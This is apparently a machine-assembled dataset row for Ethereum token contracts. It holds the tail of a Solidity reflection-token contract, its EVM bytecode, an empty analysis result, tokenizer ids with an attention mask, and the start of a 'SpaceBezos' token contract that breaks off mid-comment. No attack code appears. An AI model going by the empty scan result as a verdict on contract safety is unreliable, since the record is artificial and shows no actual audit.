_excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x608060405234801561001057600080fd5b50600436106101585760003560e01c80637d1db4a5116100c3578063d543dbeb1161007c578063d543dbeb146106a0578063d6946eb2146106ce578063dd62ed3e146106d8578063f2cc0c1814610750578063f2fde38b14610794578063f84354f1146107d857610158565b80637d1db4a5146104a95780638da5cb5b146104c757806395d89b41146104fb578063a457c2d71461057e578063a9059cbb146105e2578063cba0e9961461064657610158565b80632d838119116101155780632d83811914610332578063313ce5671461037457806339509351146103955780634549b039146103f957806370a0823114610447578063715018a61461049f57610158565b8063053ab1821461015d57806306fdde031461018b578063095ea7b31461020e57806313114a9d1461027257806318160ddd1461029057806323b872dd146102ae575b600080fd5b6101896004803603602081101561017357600080fd5b810190808035906020019092919050505061081c565b005b6101936109ac565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101d35780820151818401526020810190506101b8565b50505050905090810190601f1680156102005780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61025a6004803603604081101561022457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a4e565b60405180821515815260200191505060405180910390f35b61027a610a6c565b6040518082815260200191505060405180910390f35b610298610a76565b6040518082815260200191505060405180910390f35b61031a600480360360608110156102c457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a88565b60405180821515815260200191505060405180910390f35b61035e6004803603602081101561034857600080fd5b8101908080359060200190929190505050610b61565b6040518082815260200191505060405180910390f35b61037c610be5565b604051808260ff16815260200191505060405180910390f35b6103e1600480360360408110156103ab57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bfc565b60405180821515815260200191505060405180910390f35b6104316004803603604081101561040f57600080fd5b8101908080359060200190929190803515159060200190929190505050610caf565b6040518082815260200191505060405180910390f35b6104896004803603602081101561045d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d6c565b6040518082815260200191505060405180910390f35b6104a7610e57565b005b6104b1610fdd565b6040518082815260200191505060405180910390f35b6104cf610fe3565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61050361100c565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610543578082015181840152602081019050610528565b50505050905090810190601f1680156105705780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105ca6004803603604081101561059457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110ae565b60405180821515815260200191505060405180910390f35b61062e600480360360408110156105f857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061117b565b60405180821515815260200191505060405180910390f35b6106886004803603602081101561065c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611199565b60405180821515815260200191505060405180910390f35b6106cc600480360360208110156106b657600080fd5b81019080803590602001909291905050506111ef565b005b6106d66112f0565b005b61073a600480360360408110156106ee57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061140e565b6040518082815260200191505060405180910390f35b6107926004803603602081101561076657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611495565b005b6107d6600480360360208110156107aa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117af565b005b61081a600480360360208110156107ee57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119ba565b005b6000610826611d44565b9050600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156108cb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180613714602c913960400191505060405180910390fd5b60006108d683611d4c565b50505050905061092e81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611da490919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061098681600654611da490919063ffffffff16565b6006819055506109a183600754611dee90919063ffffffff16565b600781905550505050565b606060088054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a445780601f10610a1957610100808354040283529160200191610a44565b820191906000526020600020905b815481529060010190602001808311610a2757829003601f168201915b5050505050905090565b6000610a62610a5b611d44565b8484611e76565b6001905092915050565b6000600754905090565b600069152d02c7e14af6800000905090565b6000610a9584848461206d565b610b5684610aa1611d44565b610b518560405180606001604052806028815260200161367a60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b07611d44565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265d9092919063ffffffff16565b611e76565b600190509392505050565b6000600654821115610bbe576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001806135bf602a913960400191505060405180910390fd5b6000610bc861271d565b9050610bdd818461274890919063ffffffff16565b915050919050565b6000600a60009054906101000a900460ff16905090565b6000610ca5610c09611d44565b84610ca08560036000610c1a611d44565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dee90919063ffffffff16565b611e76565b6001905092915050565b600069152d02c7e14af6800000831115610d31576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f416d6f756e74206d757374206265206c657373207468616e20737570706c790081525060200191505060405180910390fd5b81610d50576000610d4184611d4c565b50505050905080915050610d66565b6000610d5b84611d4c565b505050915050809150505b92915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610e0757600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610e52565b610e4f600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b61565b90505b919050565b610e5f611d44565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f1f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600b5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110a45780601f10611079576101008083540402835291602001916110a4565b820191906000526020600020905b81548152906001019060200180831161108757829003601f168201915b5050505050905090565b60006111716110bb611d44565b8461116c8560405180606001604052806025815260200161374060259139600360006110e5611d44565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265d9092919063ffffffff16565b611e76565b6001905092915050565b600061118f611188611d44565b848461206d565b6001905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6111f7611d44565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6112e760646112d98369152d02c7e14af680000061279290919063ffffffff16565b61274890919063ffffffff16565b600b8190555050565b6112f8611d44565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60006113c2611d44565b90508073ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f1935050505015801561140a573d6000803e3d6000fd5b5050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61149d611d44565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461155d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561161d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156116f1576116ad600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b61565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506005819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6117b7611d44565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611877576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156118fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806135e96026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6119c2611d44565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a82576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611b41576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b60005b600580549050811015611d40578173ffffffffffffffffffffffffffffffffffffffff1660058281548110611b7557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611d3357600560016005805490500381548110611bd157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660058281548110611c0957fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506005805480611cf957fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055611d40565b8080600101915050611b44565b5050565b600033905090565b6000806000806000806000611d6088612818565b915091506000611d6e61271d565b90506000806000611d808c8686612840565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b6000611de683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061265d565b905092915050565b600080828401905083811015611e6c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611efc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806136f06024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f82576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061360f6022913960400191505060405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156120f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806136cb6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612179576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061359c6023913960400191505060405180910390fd5b600081116121d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806136a26029913960400191505060405180910390fd5b6121da610fe3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156122485750612218610fe3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561236957600b548111156122a8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806136316028913960400191505060405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612368576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f4163636f756e74206973206578636c756465640000000000000000000000000081525060200191505060405180910390fd5b5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561240c5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156124215761241c83838361289e565b612658565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156124c45750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156124d9576124d4838383612af1565b612657565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561257d5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156125925761258d838383612d44565b612656565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156126345750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561264957612644838383612f02565b612655565b612654838383612d44565b5b5b5b5b505050565b600083831115829061270a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156126cf5780820151818401526020810190506126b4565b50505050905090810190601f1680156126fc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080600061272a6131ea565b91509150612741818361274890919063ffffffff16565b9250505090565b600061278a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061349b565b905092915050565b6000808314156127a55760009050612812565b60008284029050828482816127b657fe5b041461280d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806136596021913960400191505060405180910390fd5b809150505b92915050565b6000806000806128318286611da490919063ffffffff16565b90508082935093505050915091565b600080600080612859858861279290919063ffffffff16565b90506000612870868861279290919063ffffffff16565b905060006128878284611da490919063ffffffff16565b905082818395509550955050505093509350939050565b60008060008060006128af86611d4c565b9450945094509450945061290b86600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611da490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506129a085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611da490919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a3584600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dee90919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a828382613561565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b6000806000806000612b0286611d4c565b94509450945094509450612b5e85600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611da490919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612bf382600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dee90919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c8884600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dee90919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612cd58382613561565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b6000806000806000612d5586611d4c565b94509450945094509450612db185600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611da490919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e4684600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dee90919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e938382613561565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b6000806000806000612f1386611d4c565b94509450945094509450612f6f86600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611da490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061300485600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611da490919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061309982600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dee90919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061312e84600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dee90919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061317b8382613561565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b60008060006006549050600069152d02c7e14af6800000905060005b60058054905081101561344e5782600160006005848154811061322557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061330c57508160026000600584815481106132a457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561332b5760065469152d02c7e14af680000094509450505050613497565b6133b4600160006005848154811061333f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611da490919063ffffffff16565b925061343f60026000600584815481106133ca57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611da490919063ffffffff16565b91508080600101915050613206565b5061346e69152d02c7e14af680000060065461274890919063ffffffff16565b82101561348e5760065469152d02c7e14af6800000935093505050613497565b81819350935050505b9091565b60008083118290613547576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561350c5780820151818401526020810190506134f1565b50505050905090810190601f1680156135395780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161355357fe5b049050809150509392505050565b61357682600654611da490919063ffffffff16565b60068190555061359181600754611dee90919063ffffffff16565b600781905550505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f20616464726573735472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573734578636c75646564206164647265737365732063616e6e6f742063616c6c20746869732066756e6374696f6e45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212208c50395b6ea08db4c23ca8e129140c1b028044f77c600c43535087f363a52c0664736f6c634300060c0033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 22610, 12376, 26095, 27717, 23833, 2581, 2278, 2475, 10354, 26224, 12521, 28154, 19841, 16932, 2692, 2546, 21057, 6305, 2692, 2620, 2581, 2683, 22394, 1013, 1008, 1008, 4646, 2005, 9226, 3351, 19665, 1998, 4642, 2278, 2003, 14223, 5296, 1024, 2753, 1003, 1006, 5676, 4189, 4888, 1007, 5952, 1024, 1021, 1012, 1019, 1003, 1006, 15430, 3479, 2011, 2451, 1007, 5821, 1024, 1021, 1012, 1019, 1003, 1006, 2005, 4037, 4325, 1007, 5299, 4425, 1006, 20452, 14289, 3363, 2489, 1007, 7917, 28516, 6115, 2114, 22094, 1001, 3647, 5302, 2239, 11895, 3676, 1011, 3647, 5302, 2239, 11895, 3676, 6047, 3206, 2451, 2241, 2622, 1012, 2035, 2033, 7834, 1012, 1996, 2451, 2003, 1999, 3715, 1012, 999, 999, 1034, 1013, 1032, 1013, 1035, 1035, 1035, 1032, 1064, 1027, 1027, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,752
0x97475ab45da158b7693b64935590106ca7bef007
// SpaceBezos.com launching 21.07.2021! // https://t.me/spacebezos // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * 